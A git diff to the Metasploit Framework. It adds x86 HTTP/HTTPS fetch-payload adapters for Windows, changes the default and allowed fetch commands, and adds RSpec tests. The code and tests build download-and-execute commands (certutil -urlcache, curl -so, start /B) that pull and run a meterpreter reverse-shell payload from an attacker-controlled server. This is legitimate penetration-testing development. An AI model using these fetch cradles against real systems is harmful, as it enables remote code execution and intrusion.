diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index dc60f26353..9aa557ba26 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -384,7 +384,6 @@ module Msf::Payload::Adapter::Fetch # I don't think there is a way to disable cert check in certutil.... print_error('CERTUTIL binary does not support insecure mode') fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL') - get_file_cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end diff --git a/lib/msf/core/payload/adapter/fetch/windows_options.rb b/lib/msf/core/payload/adapter/fetch/windows_options.rb index 26d7b7addf..9a9e9b0cd8 100644 --- a/lib/msf/core/payload/adapter/fetch/windows_options.rb +++ b/lib/msf/core/payload/adapter/fetch/windows_options.rb @@ -4,7 +4,7 @@ module Msf::Payload::Adapter::Fetch::WindowsOptions super register_options( [ - Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }]), + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w{ CURL TFTP CERTUTIL }]), Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}), Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL]]), Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', '%TEMP%'], regex:/^[\S]*$/) diff --git a/modules/payloads/adapters/cmd/windows/http/x64.rb b/modules/payloads/adapters/cmd/windows/http/x64.rb index e818e836ba..9325267bfa 100644 --- a/modules/payloads/adapters/cmd/windows/http/x64.rb +++ b/modules/payloads/adapters/cmd/windows/http/x64.rb @@ -13,7 +13,6 @@ module MetasploitModule info, 'Name' => 'HTTP Fetch', 'Description' => 'Fetch and execute an x64 payload from an HTTP server.', - 'DefaultOptions' => { 'FETCH_COMMAND' => 'CERTUTIL' }, 'Author' => 'Brendan Watters', 'Platform' => 'win', 'Arch' => ARCH_CMD, @@ -25,7 +24,7 @@ module MetasploitModule deregister_options('FETCH_COMMAND') register_options( [ - Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL TFTP CERTUTIL]]) + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL CERTUTIL]]) ] ) end diff --git a/modules/payloads/adapters/cmd/windows/http/x86.rb b/modules/payloads/adapters/cmd/windows/http/x86.rb new file mode 100644 index 0000000000..2313299724 --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/http/x86.rb @@ -0,0 +1,31 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and execute an x86 payload from an HTTP server.', + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X86, + 'AdaptedPlatform' => 'win' + ) + ) + deregister_options('FETCH_COMMAND') + register_options( + [ + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL CERTUTIL]]) + ] + ) + end +end diff --git a/modules/payloads/adapters/cmd/windows/https/x64.rb b/modules/payloads/adapters/cmd/windows/https/x64.rb index daac7b86e5..c10113aed9 100644 --- a/modules/payloads/adapters/cmd/windows/https/x64.rb +++ b/modules/payloads/adapters/cmd/windows/https/x64.rb @@ -21,5 +21,12 @@ module MetasploitModule 'AdaptedPlatform' => 'win' ) ) + deregister_options('FETCH_COMMAND') + register_options( + [ + # Certutil does not support insecure mode + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL]]) + ] + ) end end diff --git a/modules/payloads/adapters/cmd/windows/https/x86.rb b/modules/payloads/adapters/cmd/windows/https/x86.rb new file mode 100644 index 0000000000..bcdecc043c --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/https/x86.rb @@ -0,0 +1,32 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::Https + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTPS Fetch', + 'Description' => 'Fetch and execute an x86 payload from an HTTPS server.', + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X86, + 'AdaptedPlatform' => 'win' + ) + ) + deregister_options('FETCH_COMMAND') + register_options( + [ + # Certutil does not support insecure mode + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL]]) + ] + ) + end +end diff --git a/modules/payloads/adapters/cmd/windows/smb/x64.rb b/modules/payloads/adapters/cmd/windows/smb/x64.rb index fd4f9ad23a..e4b6064a35 100644 --- a/modules/payloads/adapters/cmd/windows/smb/x64.rb +++ b/modules/payloads/adapters/cmd/windows/smb/x64.rb @@ -20,7 +20,7 @@ module MetasploitModule 'AdaptedPlatform' => 'win' ) ) - deregister_options('FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR', 'FETCH_FILENAME') + deregister_options('FETCH_COMMAND', 'FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR', 'FETCH_FILENAME') end def srvport diff --git a/modules/payloads/adapters/cmd/windows/tftp/x64.rb b/modules/payloads/adapters/cmd/windows/tftp/x64.rb index 533176078e..df4f76ba46 100644 --- a/modules/payloads/adapters/cmd/windows/tftp/x64.rb +++ b/modules/payloads/adapters/cmd/windows/tftp/x64.rb @@ -21,5 +21,11 @@ module MetasploitModule 'AdaptedPlatform' => 'win' ) ) + deregister_options('FETCH_COMMAND') + register_options( + [ + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'TFTP', %w[TFTP]]) + ] + ) end end diff --git a/spec/modules/payloads/adapters/cmd/windows/http/x64_spec.rb b/spec/modules/payloads/adapters/cmd/windows/http/x64_spec.rb new file mode 100644 index 0000000000..3b18d0cd84 --- /dev/null +++ b/spec/modules/payloads/adapters/cmd/windows/http/x64_spec.rb @@ -0,0 +1,182 @@ +require 'rspec' + +RSpec.describe 'cmd/windows/http/x64' do + include_context 'Msf::Simple::Framework#modules loading' + + # Adapter payloads cannot be instantiated standalone; they must be combined + # with a compatible single payload. We use windows/x64/meterpreter_reverse_tcp + # (ARCH_X64, Platform=win) so the adapter's generate_fetch_commands can be + # exercised. + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/http/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/http/x64', + 'singles/windows/x64/meterpreter_reverse_tcp' + ] + ) + end + + let(:lhost) { '192.168.1.100' } + let(:lport) { '4444' } + let(:fetch_srvhost) { '192.168.1.100' } + let(:fetch_srvport) { 8080 } + let(:fetch_uripath) { 'testpayload' } + let(:fetch_command) { 'CERTUTIL' } + let(:fetch_filename) { 'payload' } + let(:fetch_writable_dir) { '%TEMP%' } + + let(:datastore_values) do + { + 'LHOST' => lhost, + 'LPORT' => lport, + 'FETCH_SRVHOST' => fetch_srvhost, + 'FETCH_SRVPORT' => fetch_srvport, + 'FETCH_URIPATH' => fetch_uripath, + 'FETCH_COMMAND' => fetch_command, + 'FETCH_FILENAME' => fetch_filename, + 'FETCH_WRITABLE_DIR' => fetch_writable_dir + } + end + + before(:each) do + subject.datastore.merge!(datastore_values) + end + + describe 'module metadata' do + it 'includes HTTP Fetch in the name' do + expect(subject.name).to include('HTTP Fetch') + end + + it 'targets the Windows platform' do + expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows) + end + + it 'uses CMD arch' do + expect(subject.arch).to include(ARCH_CMD) + end + + it 'adapts x64 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X64) + end + + it 'has win as the adapted platform' do + expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win') + end + + it 'adapts x64 and not x86 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X86) + end + end + + describe 'FETCH_COMMAND option' do + it 'defaults to CERTUTIL' do + fresh_subject = load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/http/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/http/x64', + 'singles/windows/x64/meterpreter_reverse_tcp' + ] + ) + expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CERTUTIL') + end + + it 'accepts CURL as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true) + end + + it 'rejects TFTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false) + end + + it 'accepts CERTUTIL as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(true) + end + + it 'rejects WGET as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false) + end + + it 'rejects FTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false) + end + end + + describe '#generate_fetch_commands' do + context 'with CERTUTIL (default)' do + let(:fetch_command) { 'CERTUTIL' } + + it 'generates a certutil download command over HTTP' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('certutil -urlcache -f http://') + end + + it 'includes the fetch server host and port in the URL' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_srvhost}:#{fetch_srvport}") + end + + it 'includes the URI path in the download URL' do + cmd = subject.generate_fetch_commands + expect(cmd).to include(fetch_uripath) + end + + it 'includes the remote destination path' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe") + end + + it 'executes the payload with start /B' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('start /B') + end + + it 'does not include del when FETCH_DELETE is false' do + subject.datastore['FETCH_DELETE'] = false + cmd = subject.generate_fetch_commands + expect(cmd).not_to include(' del ') + end + + it 'includes del when FETCH_DELETE is true' do + subject.datastore['FETCH_DELETE'] = true + cmd = subject.generate_fetch_commands + expect(cmd).to include(' del ') + end + end + + context 'with CURL' do + let(:fetch_command) { 'CURL' } + + it 'generates a curl download command over HTTP' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('curl -so') + expect(cmd).to include("http://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}") + end + + it 'includes the remote destination path' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe") + end + + it 'executes the payload with start /B' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('start /B') + end + end + + end + + describe '#fetch_protocol' do + it 'returns HTTP' do + expect(subject.fetch_protocol).to eq('HTTP') + end + end + + describe '#windows?' do + it 'returns true for this Windows platform module' do + expect(subject.windows?).to be(true) + end + end +end diff --git a/spec/modules/payloads/adapters/cmd/windows/http/x86_spec.rb b/spec/modules/payloads/adapters/cmd/windows/http/x86_spec.rb new file mode 100644 index 0000000000..db454a2db0 --- /dev/null +++ b/spec/modules/payloads/adapters/cmd/windows/http/x86_spec.rb @@ -0,0 +1,182 @@ +require 'rspec' + +RSpec.describe 'cmd/windows/http/x86' do + include_context 'Msf::Simple::Framework#modules loading' + + # Adapter payloads cannot be instantiated standalone; they must be combined + # with a compatible single payload. We use windows/meterpreter_reverse_tcp + # (ARCH_X86, Platform=win) so the adapter's generate_fetch_commands can be + # exercised. + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/http/x86/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/http/x86', + 'singles/windows/meterpreter_reverse_tcp' + ] + ) + end + + let(:lhost) { '192.168.1.100' } + let(:lport) { '4444' } + let(:fetch_srvhost) { '192.168.1.100' } + let(:fetch_srvport) { 8080 } + let(:fetch_uripath) { 'testpayload' } + let(:fetch_command) { 'CERTUTIL' } + let(:fetch_filename) { 'payload' } + let(:fetch_writable_dir) { '%TEMP%' } + + let(:datastore_values) do + { + 'LHOST' => lhost, + 'LPORT' => lport, + 'FETCH_SRVHOST' => fetch_srvhost, + 'FETCH_SRVPORT' => fetch_srvport, + 'FETCH_URIPATH' => fetch_uripath, + 'FETCH_COMMAND' => fetch_command, + 'FETCH_FILENAME' => fetch_filename, + 'FETCH_WRITABLE_DIR' => fetch_writable_dir + } + end + + before(:each) do + subject.datastore.merge!(datastore_values) + end + + describe 'module metadata' do + it 'includes HTTP Fetch in the name' do + expect(subject.name).to include('HTTP Fetch') + end + + it 'targets the Windows platform' do + expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows) + end + + it 'uses CMD arch' do + expect(subject.arch).to include(ARCH_CMD) + end + + it 'adapts x86 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X86) + end + + it 'has win as the adapted platform' do + expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win') + end + + it 'adapts x86 and not x64 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X64) + end + end + + describe 'FETCH_COMMAND option' do + it 'defaults to CERTUTIL' do + fresh_subject = load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/http/x86/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/http/x86', + 'singles/windows/meterpreter_reverse_tcp' + ] + ) + expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CERTUTIL') + end + + it 'accepts CURL as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true) + end + + it 'rejects TFTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false) + end + + it 'accepts CERTUTIL as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(true) + end + + it 'rejects WGET as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false) + end + + it 'rejects FTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false) + end + end + + describe '#generate_fetch_commands' do + context 'with CERTUTIL (default)' do + let(:fetch_command) { 'CERTUTIL' } + + it 'generates a certutil download command over HTTP' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('certutil -urlcache -f http://') + end + + it 'includes the fetch server host and port in the URL' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_srvhost}:#{fetch_srvport}") + end + + it 'includes the URI path in the download URL' do + cmd = subject.generate_fetch_commands + expect(cmd).to include(fetch_uripath) + end + + it 'includes the remote destination path' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe") + end + + it 'executes the payload with start /B' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('start /B') + end + + it 'does not include del when FETCH_DELETE is false' do + subject.datastore['FETCH_DELETE'] = false + cmd = subject.generate_fetch_commands + expect(cmd).not_to include(' del ') + end + + it 'includes del when FETCH_DELETE is true' do + subject.datastore['FETCH_DELETE'] = true + cmd = subject.generate_fetch_commands + expect(cmd).to include(' del ') + end + end + + context 'with CURL' do + let(:fetch_command) { 'CURL' } + + it 'generates a curl download command over HTTP' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('curl -so') + expect(cmd).to include("http://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}") + end + + it 'includes the remote destination path' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe") + end + + it 'executes the payload with start /B' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('start /B') + end + end + + end + + describe '#fetch_protocol' do + it 'returns HTTP' do + expect(subject.fetch_protocol).to eq('HTTP') + end + end + + describe '#windows?' do + it 'returns true for this Windows platform module' do + expect(subject.windows?).to be(true) + end + end +end diff --git a/spec/modules/payloads/adapters/cmd/windows/https/x64_spec.rb b/spec/modules/payloads/adapters/cmd/windows/https/x64_spec.rb new file mode 100644 index 0000000000..afd84344cd --- /dev/null +++ b/spec/modules/payloads/adapters/cmd/windows/https/x64_spec.rb @@ -0,0 +1,153 @@ +require 'rspec' + +RSpec.describe 'cmd/windows/https/x64' do + include_context 'Msf::Simple::Framework#modules loading' + + # Adapter payloads cannot be instantiated standalone; they must be combined + # with a compatible single payload. We use windows/x64/meterpreter_reverse_tcp + # (ARCH_X64, Platform=win) so the adapter's generate_fetch_commands can be + # exercised. + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/https/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/https/x64', + 'singles/windows/x64/meterpreter_reverse_tcp' + ] + ) + end + + let(:lhost) { '192.168.1.100' } + let(:lport) { '4444' } + let(:fetch_srvhost) { '192.168.1.100' } + let(:fetch_srvport) { 8443 } + let(:fetch_uripath) { 'testpayload' } + let(:fetch_command) { 'CURL' } + let(:fetch_filename) { 'payload' } + let(:fetch_writable_dir) { '%TEMP%' } + + let(:datastore_values) do + { + 'LHOST' => lhost, + 'LPORT' => lport, + 'FETCH_SRVHOST' => fetch_srvhost, + 'FETCH_SRVPORT' => fetch_srvport, + 'FETCH_URIPATH' => fetch_uripath, + 'FETCH_COMMAND' => fetch_command, + 'FETCH_FILENAME' => fetch_filename, + 'FETCH_WRITABLE_DIR' => fetch_writable_dir + } + end + + before(:each) do + subject.datastore.merge!(datastore_values) + end + + describe 'module metadata' do + it 'includes HTTPS Fetch in the name' do + expect(subject.name).to include('HTTPS Fetch') + end + + it 'targets the Windows platform' do + expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows) + end + + it 'uses CMD arch' do + expect(subject.arch).to include(ARCH_CMD) + end + + it 'adapts x64 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X64) + end + + it 'has win as the adapted platform' do + expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win') + end + + it 'adapts x64 and not x86 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X86) + end + end + + describe 'FETCH_COMMAND option' do + it 'defaults to CURL' do + fresh_subject = load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/https/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/https/x64', + 'singles/windows/x64/meterpreter_reverse_tcp' + ] + ) + expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CURL') + end + + it 'accepts CURL as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true) + end + + it 'rejects TFTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false) + end + + it 'rejects CERTUTIL as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(false) + end + + it 'rejects WGET as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false) + end + + it 'rejects FTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false) + end + end + + describe '#generate_fetch_commands' do + context 'with CURL (default)' do + let(:fetch_command) { 'CURL' } + + it 'generates a curl download command over HTTPS' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('curl -sko') + expect(cmd).to include("https://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}") + end + + it 'includes the remote destination path' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe") + end + + it 'executes the payload with start /B' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('start /B') + end + + it 'does not include del when FETCH_DELETE is false' do + subject.datastore['FETCH_DELETE'] = false + cmd = subject.generate_fetch_commands + expect(cmd).not_to include(' del ') + end + + it 'includes del when FETCH_DELETE is true' do + subject.datastore['FETCH_DELETE'] = true + cmd = subject.generate_fetch_commands + expect(cmd).to include(' del ') + end + end + + end + + describe '#fetch_protocol' do + it 'returns HTTPS' do + expect(subject.fetch_protocol).to eq('HTTPS') + end + end + + describe '#windows?' do + it 'returns true for this Windows platform module' do + expect(subject.windows?).to be(true) + end + end +end diff --git a/spec/modules/payloads/adapters/cmd/windows/https/x86_spec.rb b/spec/modules/payloads/adapters/cmd/windows/https/x86_spec.rb new file mode 100644 index 0000000000..f79d86ef82 --- /dev/null +++ b/spec/modules/payloads/adapters/cmd/windows/https/x86_spec.rb @@ -0,0 +1,153 @@ +require 'rspec' + +RSpec.describe 'cmd/windows/https/x86' do + include_context 'Msf::Simple::Framework#modules loading' + + # Adapter payloads cannot be instantiated standalone; they must be combined + # with a compatible single payload. We use windows/meterpreter_reverse_tcp + # (ARCH_X86, Platform=win) so the adapter's generate_fetch_commands can be + # exercised. + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/https/x86/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/https/x86', + 'singles/windows/meterpreter_reverse_tcp' + ] + ) + end + + let(:lhost) { '192.168.1.100' } + let(:lport) { '4444' } + let(:fetch_srvhost) { '192.168.1.100' } + let(:fetch_srvport) { 8443 } + let(:fetch_uripath) { 'testpayload' } + let(:fetch_command) { 'CURL' } + let(:fetch_filename) { 'payload' } + let(:fetch_writable_dir) { '%TEMP%' } + + let(:datastore_values) do + { + 'LHOST' => lhost, + 'LPORT' => lport, + 'FETCH_SRVHOST' => fetch_srvhost, + 'FETCH_SRVPORT' => fetch_srvport, + 'FETCH_URIPATH' => fetch_uripath, + 'FETCH_COMMAND' => fetch_command, + 'FETCH_FILENAME' => fetch_filename, + 'FETCH_WRITABLE_DIR' => fetch_writable_dir + } + end + + before(:each) do + subject.datastore.merge!(datastore_values) + end + + describe 'module metadata' do + it 'includes HTTPS Fetch in the name' do + expect(subject.name).to include('HTTPS Fetch') + end + + it 'targets the Windows platform' do + expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows) + end + + it 'uses CMD arch' do + expect(subject.arch).to include(ARCH_CMD) + end + + it 'adapts x86 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X86) + end + + it 'has win as the adapted platform' do + expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win') + end + + it 'adapts x86 and not x64 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X64) + end + end + + describe 'FETCH_COMMAND option' do + it 'defaults to CURL' do + fresh_subject = load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/https/x86/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/https/x86', + 'singles/windows/meterpreter_reverse_tcp' + ] + ) + expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CURL') + end + + it 'accepts CURL as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true) + end + + it 'rejects TFTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false) + end + + it 'rejects CERTUTIL as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(false) + end + + it 'rejects WGET as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false) + end + + it 'rejects FTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false) + end + end + + describe '#generate_fetch_commands' do + context 'with CURL (default)' do + let(:fetch_command) { 'CURL' } + + it 'generates a curl download command over HTTPS' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('curl -sko') + expect(cmd).to include("https://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}") + end + + it 'includes the remote destination path' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe") + end + + it 'executes the payload with start /B' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('start /B') + end + + it 'does not include del when FETCH_DELETE is false' do + subject.datastore['FETCH_DELETE'] = false + cmd = subject.generate_fetch_commands + expect(cmd).not_to include(' del ') + end + + it 'includes del when FETCH_DELETE is true' do + subject.datastore['FETCH_DELETE'] = true + cmd = subject.generate_fetch_commands + expect(cmd).to include(' del ') + end + end + + end + + describe '#fetch_protocol' do + it 'returns HTTPS' do + expect(subject.fetch_protocol).to eq('HTTPS') + end + end + + describe '#windows?' do + it 'returns true for this Windows platform module' do + expect(subject.windows?).to be(true) + end + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 28a95ac1d3..3bd551b9f6 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1390,6 +1390,14 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'cmd/windows/http/x64' end + context 'cmd/windows/http/x86' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/http/x86' + ], + reference_name: 'cmd/windows/http/x86' + end + context 'cmd/windows/https/x64' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [ @@ -1398,6 +1406,14 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'cmd/windows/https/x64' end + context 'cmd/windows/https/x86' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/https/x86' + ], + reference_name: 'cmd/windows/https/x86' + end + context 'cmd/windows/powershell' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [